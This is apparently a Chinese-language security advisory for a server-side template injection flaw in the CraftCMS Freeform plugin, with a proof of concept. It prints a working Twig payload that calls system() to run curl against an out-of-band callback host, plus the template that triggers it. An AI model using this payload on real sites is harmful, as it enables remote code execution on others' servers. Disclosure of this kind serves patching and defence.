CraftCMS Freeform 包含一个 SSTI 漏洞,导致所有有权编辑表单(提交标题)的用户可执行任意代码注入。
受影响版本为 v5.0.0 < v5.10.16。
创建一个表单:

我在此创建了名为“pentest”的表单作为概念验证。接下来,在设置中配置以下提交标题(将域名更改为你自己的服务器):
{{ 'system' | call('curl http://gwgyynafr4feu5xecukf1h2nqew5kw8l.oastify.com/rce') }}

这将执行任意系统调用。在此示例中,我执行了一个 curl 请求到受控服务器,该服务器会在收到传入连接时通知我。
接下来,将此表单包含在模板/页面中并提交:
<h1>test</h1>
{% set form = freeform.form('pentest') %}
{% if form %}
{{ form.render() }}
{% else %}
<p>Form not found.</p>
{% endif %}
这样就会调用 curl 命令。我们可以通过查看创建的传入 HTTP 请求来验证:

此问题的根本原因是 Freeform 在实现“call”Twig 过滤器时未对用户输入进行验证。该问题已在以下提交中修复。